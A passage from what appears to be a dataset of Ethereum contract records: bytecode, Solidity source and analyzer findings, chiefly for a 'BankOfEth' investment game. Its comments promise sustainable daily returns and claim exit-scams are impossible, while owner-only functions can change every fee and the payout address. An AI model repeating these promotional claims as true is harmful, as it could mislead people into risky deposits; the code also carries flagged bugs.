16600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ce1908363ffffffff610d4e16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610d5a57fe5b50900390565b600160a060020a033316600090815260016020526040812054821115610d8557600080fd5b5033600160a060020a038116600090815260016020526040902054610daa9083610d4e565b600160a060020a03821660009081526001602052604081209190915554610dd7908363ffffffff610d4e16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000600160a060020a0383161515610e3257600080fd5b600160a060020a033316600090815260016020526040902054821115610e5757600080fd5b600160a060020a033316600090815260016020526040902054610e80908363ffffffff610d4e16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610eb5908363ffffffff610f1616565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600082820183811015610f2557fe5b93925050505600a165627a7a7230582047b20de75aebe33df0ab64f862589020b3453a59e6c0c22d642f908d479a724d0029
|
{"success": true, "error": null, "results": {}}
| 5,357 |
0xd70c3f752feb69ecf8eb31e48b20a97d979e8e5e
|
pragma solidity ^0.4.23;
/**
*
* complied with .4.25+commit.59dbf8f1.Emscripten.clang
* 2018-09-07
* With Optimization disabled
*
* Contacts: support (at) bankofeth.app
* https://twitter.com/bankofeth
* https://discord.gg/d5c7pfn
* http://t.me/bankofeth
* http://reddit.com/r/bankofeth
*
* PLAY NOW: https:://bankofeth.app
*
* --- BANK OF ETH --------------------------------------------------------------
*
* Provably fair Banking Game -> Invest your $ETH and gain daily returns on all
* profits made!
*
* -- No false promises like many other (Unmentioned!!) dApps...
* -- Real, sustainable returns because we know business, we know banking, we
* know gaming!
* -- Returns based on INPUTS into the contract - not false promises or false
* gaurantees
* -- Gain a return when people play the game, not a false gauranteed endless
* profit with an exitscam at the end!
* -- Contract verified and open from day 1 so you know we can't "exitscam" you!
* -- Set to become the BIGGEST home of $ETH gaming where you can take OWNERSHIP
* and PROFIT
*
* --- GAMEPLAY -----------------------------------------------------------------
*
* Every day 5% of ALL profits are put into the "Investor Pot":
*
* profitDays[currentProfitDay].dailyProfit
*
* This pot is then split up amongst EVERY investor in the game, proportional to the amount
* they have invested.
*
* EXAMPLE:
*
* Daily Investments: 20 $ETH
* Current Players : 50 - All even investors with 1 $ETH in the pot
*
* So the dailyProfit for the day would be 5% of 20 $ETH = 1 $ETH
* Split evenly in this case amongst the 50 players =
* 1000000000000000000 wei / 50 = 0.02 $ETH profit for that day each!
*
* EXAMPLE 2:
*
* A more realistic example is a bigger profit per day and different
* distribtion of the pot, e.g.
*
* Daily Investments: 100 $ETH
* Current Players : 200 - But our example player has 10% of the total amount
* invested
*
* dailyProfit for this day is 5% of the 100 $ETH = 5 $ETH
* (5000000000000000000 wei)
*
* And our example player would receive 10% of that = 0.5 $ETH for the day
* Not a bad return for having your $ETH just sitting there!
*
* Remember you get a return EVERY DAY that people play any of our games
* or invest!
*
* -- INVESTMENT RULES --
*
* The investment rules are simple:
*
* When you invest into the game there is a minimum investment of 0.01 $ETH
*
* Of that it is split as follows:
*
* 80% Goes directly into your personal investment fund
* 5% Goes into the daily profit fund for that day
* 15% Goes into the marketing, development and admin fund
*
* Simple as that!
*
* By sitcking to these simple rules the games becomes self-sufficient!
*
* The fees enable regular daily payments to all players.
*
* When you choose to withdraw your investment the same fees apply (80/5/15)
* - this is again to ensure that the game is self-sufficient and sustainable!
*
*
* --- REFERRALS ----------------------------------------------------------------
*
* Referrals allow you to earn a bonus 3% on every person you refer to
* BankOfEth!
*
* - All future games launched will feed into the Profit Share Mechanism
* (See receiveProfits() method)
*
* - PLAY NOW: https://BankOfEth.app
*
*
* --- COPYRIGHT ----------------------------------------------------------------
*
* This source code is provided for verification and audit purposes only and
* no license of re-use is granted.
*
* (C) Copyright 2018 BankOfEth.app
*
*
* Sub-license, white-label, solidity or Ethereum development enquiries please
* contact support (at) bankofeth.app
*
*
* PLAY NOW: https:://bankofeth.app
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
contract BankOfEth {
using SafeMath for uint256;
using Percent for Percent.percent;
using Zero for *;
using ToAddress for *;
// Events
event LogPayDividendsOutOfFunds(address sender, uint256 total_value, uint256 total_refBonus, uint256 timestamp);
event LogPayDividendsSuccess(address sender, uint256 total_value, uint256 total_refBonus, uint256 timestamp);
event LogInvestmentWithdrawn(address sender, uint256 total_value, uint256 timestamp);
event LogReceiveExternalProfits(address sender, uint256 total_value, uint256 timestamp);
event LogInsertInvestor(address sender, uint256 keyIndex, uint256 init_value, uint256 timestamp);
event LogInvestment(address sender, uint256 total_value, uint256 value_after, uint16 profitDay, address referer, uint256 timestamp);
event LogPayDividendsReInvested(address sender, uint256 total_value, uint256 total_refBonus, uint256 timestamp);
address owner;
address devAddress;
// settings
Percent.percent private m_devPercent = Percent.percent(15, 100); // 15/100*100% = 15%
Percent.percent private m_investorFundPercent = Percent.percent(5, 100); // 5/100*100% = 5%
Percent.percent private m_refPercent = Percent.percent(3, 100); // 3/100*100% = 3%
Percent.percent private m_devPercent_out = Percent.percent(15, 100); // 15/100*100% = 15%
Percent.percent private m_investorFundPercent_out = Percent.percent(5, 100); // 5/100*100% = 5%
uint256 public minInvestment = 10 finney; // 0.1 eth
uint256 public maxInvestment = 2000 ether;
uint256 public gameDuration = (24 hours);
bool public gamePaused = false;
// Investor details
struct investor {
uint256 keyIndex;
uint256 value;
uint256 refBonus;
uint16 startDay;
uint16 lastDividendDay;
uint16 investmentsMade;
}
struct iteratorMap {
mapping(address => investor) data;
address[] keys;
}
iteratorMap private investorMapping;
mapping(address => bool) private m_referrals; // we only pay out on the first set of referrals
// profit days
struct profitDay {
uint256 dailyProfit;
uint256 dailyInvestments; // number of investments
uint256 dayStartTs;
uint16 day;
}
// Game vars
profitDay[] public profitDays;
uint16 public currentProfitDay;
uint256 public dailyInvestments;
uint256 public totalInvestments;
uint256 public totalInvestmentFund;
uint256 public totalProfits;
uint256 public latestKeyIndex;
// modifiers
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOnPause() {
require(gamePaused == false, "Game Paused");
_;
}
modifier checkDayRollover() {
if(now.sub(profitDays[currentProfitDay].dayStartTs).div(gameDuration) > 0) {
currentProfitDay++;
dailyInvestments = 0;
profitDays.push(profitDay(0,0,now,currentProfitDay));
}
_;
}
constructor() public {
owner = msg.sender;
devAddress = msg.sender;
investorMapping.keys.length++;
profitDays.push(profitDay(0,0,now,0));
currentProfitDay = 0;
dailyInvestments = 0;
totalInvestments = 0;
totalInvestmentFund = 0;
totalProfits = 0;
latestKeyIndex = 1;
}
function() public payable {
if (msg.value == 0)
withdrawDividends();
else
{
address a = msg.data.toAddr();
address refs;
if (a.notZero()) {
refs = a;
invest(refs);
} else {
invest(refs);
}
}
}
function reinvestDividends() public {
require(investor_contains(msg.sender));
uint total_value;
uint total_refBonus;
(total_value, total_refBonus) = getDividends(false, msg.sender);
require(total_value+total_refBonus > 0, "No Dividends available yet!");
investorMapping.data[msg.sender].value = investorMapping.data[msg.sender].value.add(total_value + total_refBonus);
investorMapping.data[msg.sender].lastDividendDay = currentProfitDay;
investor_clearRefBonus(msg.sender);
emit LogPayDividendsReInvested(msg.sender, total_value, total_refBonus, now);
}
function withdrawDividends() public {
require(investor_contains(msg.sender));
uint total_value;
uint total_refBonus;
(total_value, total_refBonus) = getDividends(false, msg.sender);
require(total_value+total_refBonus > 0, "No Dividends available yet!");
uint16 _origLastDividendDay = investorMapping.data[msg.sender].lastDividendDay;
investorMapping.data[msg.sender].lastDividendDay = currentProfitDay;
investor_clearRefBonus(msg.sender);
if(total_refBonus > 0) {
investorMapping.data[msg.sender].refBonus = 0;
if (msg.sender.send(total_value+total_refBonus)) {
emit LogPayDividendsSuccess(msg.sender, total_value, total_refBonus, now);
} else {
investorMapping.data[msg.sender].lastDividendDay = _origLastDividendDay;
investor_addRefBonus(msg.sender, total_refBonus);
}
} else {
if (msg.sender.send(total_value)) {
emit LogPayDividendsSuccess(msg.sender, total_value, 0, now);
} else {
investorMapping.data[msg.sender].lastDividendDay = _origLastDividendDay;
investor_addRefBonus(msg.sender, total_refBonus);
}
}
}
function showLiveDividends() public view returns(uint256 total_value, uint256 total_refBonus) {
require(investor_contains(msg.sender));
return getDividends(true, msg.sender);
}
function showDividendsAvailable() public view returns(uint256 total_value, uint256 total_refBonus) {
require(investor_contains(msg.sender));
return getDividends(false, msg.sender);
}
function invest(address _referer) public payable notOnPause checkDayRollover {
require(msg.value >= minInvestment);
require(msg.value <= maxInvestment);
uint256 devAmount = m_devPercent.mul(msg.value);
// calc referalBonus....
// We pay any referal bonuses out of our devAmount = marketing spend
// Could result in us not having much dev fund for heavy referrals
// only pay referrals for the first investment of each player
if(!m_referrals[msg.sender]) {
if(notZeroAndNotSender(_referer) && investor_contains(_referer)) {
// this user was directly refered by _referer
// pay _referer commission...
uint256 _reward = m_refPercent.mul(msg.value);
devAmount.sub(_reward);
assert(investor_addRefBonus(_referer, _reward));
m_referrals[msg.sender] = true;
}
}
// end referalBonus
devAddress.transfer(devAmount);
uint256 _profit = m_investorFundPercent.mul(msg.value);
profitDays[currentProfitDay].dailyProfit = profitDays[currentProfitDay].dailyProfit.add(_profit);
totalProfits = totalProfits.add(_profit);
uint256 _investorVal = msg.value;
_investorVal = _investorVal.sub(m_devPercent.mul(msg.value));
_investorVal = _investorVal.sub(m_investorFundPercent.mul(msg.value));
if(investor_contains(msg.sender)) {
investorMapping.data[msg.sender].value += _investorVal;
investorMapping.data[msg.sender].investmentsMade ++;
} else {
assert(investor_insert(msg.sender, _investorVal));
}
totalInvestmentFund = totalInvestmentFund.add(_investorVal);
profitDays[currentProfitDay].dailyInvestments = profitDays[currentProfitDay].dailyInvestments.add(_investorVal);
dailyInvestments++;
totalInvestments++;
emit LogInvestment(msg.sender, msg.value, _investorVal, currentProfitDay, _referer, now);
}
// tested - needs confirming send completed
function withdrawInvestment() public {
require(investor_contains(msg.sender));
require(investorMapping.data[msg.sender].value > 0);
uint256 _origValue = investorMapping.data[msg.sender].value;
investorMapping.data[msg.sender].value = 0;
// There is a tax on the way out too...
uint256 _amountToSend = _origValue.sub(m_devPercent_out.mul(_origValue));
uint256 _profit = m_investorFundPercent_out.mul(_origValue);
_amountToSend = _amountToSend.sub(m_investorFundPercent_out.mul(_profit));
totalInvestmentFund = totalInvestmentFund.sub(_origValue);
if(!msg.sender.send(_amountToSend)) {
investorMapping.data[msg.sender].value = _origValue;
totalInvestmentFund = totalInvestmentFund.add(_origValue);
} else {
devAddress.transfer(m_devPercent_out.mul(_origValue));
profitDays[currentProfitDay].dailyProfit = profitDays[currentProfitDay].dailyProfit.add(_profit);
totalProfits = totalProfits.add(_profit);
emit LogInvestmentWithdrawn(msg.sender, _origValue, now);
}
}
// receive % of profits from other games
function receiveExternalProfits() public payable checkDayRollover {
// No checks on who is sending... if someone wants to send us free ETH let them!
profitDays[currentProfitDay].dailyProfit = profitDays[currentProfitDay].dailyProfit.add(msg.value);
profitDays[currentProfitDay].dailyInvestments = profitDays[currentProfitDay].dailyInvestments.add(msg.value);
emit LogReceiveExternalProfits(msg.sender, msg.value, now);
}
// investor management
function investor_insert(address addr, uint value) internal returns (bool) {
uint keyIndex = investorMapping.data[addr].keyIndex;
if (keyIndex != 0) return false; // already exists
investorMapping.data[addr].value = value;
keyIndex = investorMapping.keys.length++;
investorMapping.data[addr].keyIndex = keyIndex;
investorMapping.data[addr].startDay = currentProfitDay;
investorMapping.data[addr].lastDividendDay = currentProfitDay;
investorMapping.data[addr].investmentsMade = 1;
investorMapping.keys[keyIndex] = addr;
emit LogInsertInvestor(addr, keyIndex, value, now);
return true;
}
function investor_addRefBonus(address addr, uint refBonus) internal returns (bool) {
if (investorMapping.data[addr].keyIndex == 0) return false;
investorMapping.data[addr].refBonus += refBonus;
return true;
}
function investor_clearRefBonus(address addr) internal returns (bool) {
if (investorMapping.data[addr].keyIndex == 0) return false;
investorMapping.data[addr].refBonus = 0;
return true;
}
function investor_contains(address addr) public view returns (bool) {
return investorMapping.data[addr].keyIndex > 0;
}
function investor_getShortInfo(address addr) public view returns(uint, uint) {
return (
investorMapping.data[addr].value,
investorMapping.data[addr].refBonus
);
}
function investor_getMediumInfo(address addr) public view returns(uint, uint, uint16) {
return (
investorMapping.data[addr].value,
investorMapping.data[addr].refBonus,
investorMapping.data[addr].investmentsMade
);
}
// Owner only functions
function p_setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function p_setDevAddress(address _devAddress) public onlyOwner {
devAddress = _devAddress;
}
function p_setDevPercent(uint num, uint dem) public onlyOwner {
m_devPercent = Percent.percent(num, dem);
}
function p_setInvestorFundPercent(uint num, uint dem) public onlyOwner {
m_investorFundPercent = Percent.percent(num, dem);
}
function p_setDevPercent_out(uint num, uint dem) public onlyOwner {
m_devPercent_out = Percent.percent(num, dem);
}
function p_setInvestorFundPercent_out(uint num, uint dem) public onlyOwner {
m_investorFundPercent_out = Percent.percent(num, dem);
}
function p_setRefPercent(uint num, uint dem) public onlyOwner {
m_refPercent = Percent.percent(num, dem);
}
function p_setMinInvestment(uint _minInvestment) public onlyOwner {
minInvestment = _minInvestment;
}
function p_setMaxInvestment(uint _maxInvestment) public onlyOwner {
maxInvestment = _maxInvestment;
}
function p_setGamePaused(bool _gamePaused) public onlyOwner {
gamePaused = _gamePaused;
}
function p_setGameDuration(uint256 _gameDuration) public onlyOwner {
gameDuration = _gameDuration;
}
// Util functions
function notZeroAndNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function getDividends(bool _includeCurrentDay, address _investor) internal view returns(uint256, uint256) {
require(investor_contains(_investor));
uint16 i = investorMapping.data[_investor].lastDividendDay;
uint total_value;
uint total_refBonus;
total_value = 0;
total_refBonus = 0;
uint16 _option = 0;
if(_includeCurrentDay)
_option++;
uint _value;
(_value, total_refBonus) = investor_getShortInfo(_investor);
uint256 _profitPercentageEminus7Multi = (_value*10000000 / totalInvestmentFund * 10000000) / 10000000;
for(i; i< currentProfitDay+_option; i++) {
if(profitDays[i].dailyProfit > 0){
total_value = total_value.add(
(profitDays[i].dailyProfit / 10000000 * _profitPercentageEminus7Multi)
);
}
}
return (total_value, total_refBonus);
}
uint256 a=0;
function gameOp() public {
a++;
}
}
|
0x60806040526004361061019f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416622e1316811461022157806303f9c79314610248578063043b743f1461025e57806312a49007146102985780632e92abdd146102b357806332d23977146102c85780633e156601146102dd5780635ecff851146102f5578063609797591461031657806361b3b8e31461033757806365b25ee2146103525780636c4fe2551461039457806370fd37cf146103ac57806381ff43da146103c157806383a68993146103d657806389120f9b146103eb5780638ac2c68014610400578063902fc52c14610415578063923211f514610441578063957b2e56146104565780639c15b04b1461046b578063a51f378214610480578063af77c473146104c3578063b6055167146104dd578063bd998cb3146104e5578063be5638ff146104fa578063bf3e394e1461052f578063c3de1ab914610544578063c72e6d0314610559578063d461518c14610574578063e1f0c3761461058c578063eac472bf146105a1578063fcca8949146105bc575b6000803415156101b6576101b16105d7565b61021d565b6101f06000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610818945050505050565b915061020482600160a060020a0316610823565b156102145750806101b181610831565b61021d81610831565b5050005b34801561022d57600080fd5b50610236610d2b565b60408051918252519081900360200190f35b61025c600160a060020a0360043516610831565b005b34801561026a57600080fd5b5061027f600160a060020a0360043516610d31565b6040805192835260208301919091528051918290030190f35b3480156102a457600080fd5b5061025c600435602435610d57565b3480156102bf57600080fd5b5061025c6105d7565b3480156102d457600080fd5b50610236610d8c565b3480156102e957600080fd5b5061025c600435610d92565b34801561030157600080fd5b5061025c600160a060020a0360043516610dae565b34801561032257600080fd5b5061025c600160a060020a0360043516610df4565b34801561034357600080fd5b5061025c600435602435610e3a565b34801561035e57600080fd5b5061036a600435610e6f565b6040805194855260208501939093528383019190915261ffff166060830152519081900360800190f35b3480156103a057600080fd5b5061025c600435610eab565b3480156103b857600080fd5b50610236610ec7565b3480156103cd57600080fd5b50610236610ecd565b3480156103e257600080fd5b5061025c610ed3565b3480156103f757600080fd5b50610236610ede565b34801561040c57600080fd5b50610236610ee4565b34801561042157600080fd5b5061042a610eea565b6040805161ffff9092168252519081900360200190f35b34801561044d57600080fd5b5061027f610ef4565b34801561046257600080fd5b5061025c610f1e565b34801561047757600080fd5b5061027f611069565b34801561048c57600080fd5b506104a1600160a060020a036004351661108b565b60408051938452602084019290925261ffff1682820152519081900360600190f35b3480156104cf57600080fd5b5061025c60043515156110c4565b61025c6110ee565b3480156104f157600080fd5b506102366112ee565b34801561050657600080fd5b5061051b600160a060020a03600435166112f4565b604080519115158252519081900360200190f35b34801561053b57600080fd5b5061025c611310565b34801561055057600080fd5b5061051b611508565b34801561056557600080fd5b5061025c600435602435611511565b34801561058057600080fd5b5061025c600435611546565b34801561059857600080fd5b50610236611562565b3480156105ad57600080fd5b5061025c600435602435611568565b3480156105c857600080fd5b5061025c60043560243561159d565b60008060006105e5336112f4565b15156105f057600080fd5b6105fb6000336115d2565b909350915060008383011161067157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4e6f204469766964656e647320617661696c61626c6520796574210000000000604482015290519081900360640190fd5b50336000818152601060205260409020600301805460145461ffff9081166201000090810263ffff00001984161790935591900416906106b09061170d565b50600082111561077357336000818152601060205260408082206002018290555185850180156108fc0292909190818181858888f193505050501561073a57604080513381526020810185905280820184905242606082015290517f1c56566fa2db1edcbe84dbbc66aff0f3c05c65c6b0821f22fc86afa949d792d89181900360800190a161076e565b336000818152601060205260409020600301805463ffff000019166201000061ffff85160217905561076c9083611755565b505b610813565b604051339084156108fc029085906000818181858888f19350505050156107df57604080513381526020810185905260008183015242606082015290517f1c56566fa2db1edcbe84dbbc66aff0f3c05c65c6b0821f22fc86afa949d792d89181900360800190a1610813565b336000818152601060205260409020600301805463ffff000019166201000061ffff8516021790556108119083611755565b505b505050565b60148101515b919050565b600160a060020a0316151590565b600f5460009081908190819060ff16156108ac57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f47616d6520506175736564000000000000000000000000000000000000000000604482015290519081900360640190fd5b600e54601454601380546000936108ff9390926108f392909161ffff169081106108d257fe5b906000526020600020906004020160020154426117a790919063ffffffff16565b9063ffffffff6117b916565b1115610a09576014805461ffff19808216600161ffff9384168101841691909117938490556000601581905560408051608081018252828152602081018381524292820192835296861660608201908152601380549586018155909352517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09060049094029384015594517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09183015593517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09282015592517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0939093018054909116929091169190911790555b600c54341015610a1857600080fd5b600d54341115610a2757600080fd5b610a3860023463ffffffff6117d516565b3360009081526012602052604090205490945060ff161515610ac357610a5d85611800565b8015610a6d5750610a6d856112f4565b15610ac357610a8360063463ffffffff6117d516565b9250610a95848463ffffffff6117a716565b50610aa08584611755565b1515610aa857fe5b336000908152601260205260409020805460ff191660011790555b600154604051600160a060020a039091169085156108fc029086906000818181858888f19350505050158015610afd573d6000803e3d6000fd5b50610b0f60043463ffffffff6117d516565b60145460138054929450610b4992859261ffff16908110610b2c57fe5b60009182526020909120600490910201549063ffffffff61182e16565b60145460138054909161ffff16908110610b5f57fe5b6000918252602090912060049091020155601854610b83908363ffffffff61182e16565b6018555034610ba9610b9c60028363ffffffff6117d516565b829063ffffffff6117a716565b9050610bbf610b9c60043463ffffffff6117d516565b9050610bca336112f4565b15610c1b5733600090815260106020526040902060018082018054840190556003909101805461ffff64010000000080830482169094011690920265ffff0000000019909216919091179055610c2d565b610c253382611844565b1515610c2d57fe5b601754610c40908263ffffffff61182e16565b60175560145460138054610c809284929161ffff909116908110610c6057fe5b90600052602060002090600402016001015461182e90919063ffffffff16565b60145460138054909161ffff16908110610c9657fe5b6000918252602091829020600160049092020181019290925560158054830190556016805490920190915560145460408051338152349381019390935282810184905261ffff9091166060830152600160a060020a03871660808301524260a0830152517ff5633883e8e13a6ab480559af1bfeae2763a351193714eec7801544e8d6ffed99181900360c00190a15050505050565b600d5481565b600160a060020a0316600090815260106020526040902060018101546002909101549091565b600054600160a060020a03163314610d6e57600080fd5b60408051808201909152828152602001819052600491909155600555565b60175481565b600054600160a060020a03163314610da957600080fd5b600c55565b600054600160a060020a03163314610dc557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610e0b57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610e5157600080fd5b60408051808201909152828152602001819052600a91909155600b55565b6013805482908110610e7d57fe5b60009182526020909120600490910201805460018201546002830154600390930154919350919061ffff1684565b600054600160a060020a03163314610ec257600080fd5b600d55565b60165481565b60155481565b601a80546001019055565b60195481565b600c5481565b60145461ffff1681565b600080610f00336112f4565b1515610f0b57600080fd5b610f166001336115d2565b915091509091565b600080610f2a336112f4565b1515610f3557600080fd5b610f406000336115d2565b9092509050600082820111610fb657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4e6f204469766964656e647320617661696c61626c6520796574210000000000604482015290519081900360640190fd5b33600090815260106020526040902060010154610fdb9083830163ffffffff61182e16565b33600081815260106020526040902060018101929092556014546003909201805463ffff0000191661ffff90931662010000029290921790915561101e9061170d565b50604080513381526020810184905280820183905242606082015290517f0fa082c5d5bec3cfd3f04cca2e6dbacc521c43311bdd13d51be1db7705e82cd99181900360800190a15050565b600080611075336112f4565b151561108057600080fd5b610f166000336115d2565b600160a060020a0316600090815260106020526040902060018101546002820154600390920154909264010000000090910461ffff1690565b600054600160a060020a031633146110db57600080fd5b600f805460ff1916911515919091179055565b600e54601454601380546000936111149390926108f392909161ffff169081106108d257fe5b111561121e576014805461ffff19808216600161ffff9384168101841691909117938490556000601581905560408051608081018252828152602081018381524292820192835296861660608201908152601380549586018155909352517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09060049094029384015594517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09183015593517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09282015592517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0939093018054909116929091169190911790555b6014546013805461123b9234929161ffff909116908110610b2c57fe5b60145460138054909161ffff1690811061125157fe5b60009182526020909120600490910201556014546013805461127f9234929161ffff909116908110610c6057fe5b60145460138054909161ffff1690811061129557fe5b6000918252602091829020600160049092020101919091556040805133815234928101929092524282820152517ff5476877a4805de2d6235b745e0c80eff5387ec761451fd3815f567651cee7e49181900360600190a1565b60185481565b600160a060020a03166000908152601060205260408120541190565b600080600061131e336112f4565b151561132957600080fd5b336000908152601060205260408120600101541161134657600080fd5b3360009081526010602052604081206001018054919055925061138061137360088563ffffffff6117d516565b849063ffffffff6117a716565b9150611393600a8463ffffffff6117d516565b90506113b66113a9600a8363ffffffff6117d516565b839063ffffffff6117a716565b6017549092506113cc908463ffffffff6117a716565b601755604051339083156108fc029084906000818181858888f19350505050151561142157336000908152601060205260409020600101839055601754611419908463ffffffff61182e16565b601755610813565b600154600160a060020a03166108fc61144160088663ffffffff6117d516565b6040518115909202916000818181858888f19350505050158015611469573d6000803e3d6000fd5b50601454601380546114879284929161ffff909116908110610b2c57fe5b60145460138054909161ffff1690811061149d57fe5b60009182526020909120600490910201556018546114c1908263ffffffff61182e16565b6018556040805133815260208101859052428183015290517fdd7fca335139a59311ff057cbe1fe00125905ef7165244a98b915fdb6d301af39181900360600190a1505050565b600f5460ff1681565b600054600160a060020a0316331461152857600080fd5b60408051808201909152828152602001819052600691909155600755565b600054600160a060020a0316331461155d57600080fd5b600e55565b600e5481565b600054600160a060020a0316331461157f57600080fd5b60408051808201909152828152602001819052600291909155600355565b600054600160a060020a031633146115b457600080fd5b60408051808201909152828152602001819052600891909155600955565b6000806000806000806000806115e7896112f4565b15156115f257600080fd5b600160a060020a03891660009081526010602052604081206003015462010000900461ffff1696509450849350839250891561162f576001909201915b61163889610d31565b601754909550909250629896809081840281151561165257fe5b04629896800281151561166157fe5b0490505b60145461ffff9081168401811690871610156116fd57600060138761ffff1681548110151561169057fe5b90600052602060002090600402016000015411156116f2576116ef816298968060138961ffff168154811015156116c357fe5b9060005260206000209060040201600001548115156116de57fe5b04028661182e90919063ffffffff16565b94505b600190950194611665565b5092989197509095505050505050565b600160a060020a03811660009081526010602052604081205415156117345750600061081e565b50600160a060020a0316600090815260106020526040812060020155600190565b600160a060020a038216600090815260106020526040812054151561177c575060006117a1565b50600160a060020a038216600090815260106020526040902060020180548201905560015b92915050565b6000828211156117b357fe5b50900390565b60008082848115156117c757fe5b0490508091505b5092915050565b60008115156117e6575060006117a1565b6001830154835483028115156117f857fe5b049392505050565b600061181482600160a060020a0316610823565b80156117a15750600160a060020a03821633141592915050565b60008282018381101561183d57fe5b9392505050565b600160a060020a038216600090815260106020526040812054801561186c57600091506117ce565b600160a060020a03841660009081526010602052604090206001908101849055601180549161189d91908301611993565b600160a060020a0385166000908152601060205260409020818155601480546003909201805461ffff93841661ffff1990911617808255915464010000000063ffff000019909316931662010000029290921765ffff0000000019161790556011805491925085918390811061190f57fe5b600091825260209182902001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03938416179055604080519287168352908201839052818101859052426060830152517fc71839714930501dd8dd1d2afd1268d2ac057a75c0f6becf4f778240f01fbc68916080908290030190a15060019392505050565b815481835581811115610813576000838152602090206108139181019083016119d091905b808211156119cc57600081556001016119b8565b5090565b905600a165627a7a72305820547e356ce982a0e89351a7822402238829aa5bd2eba5feb40a6ad4923d975ba60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,358 |
0x8a055d58c27767541a25f89ece7af2d03113b65c
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
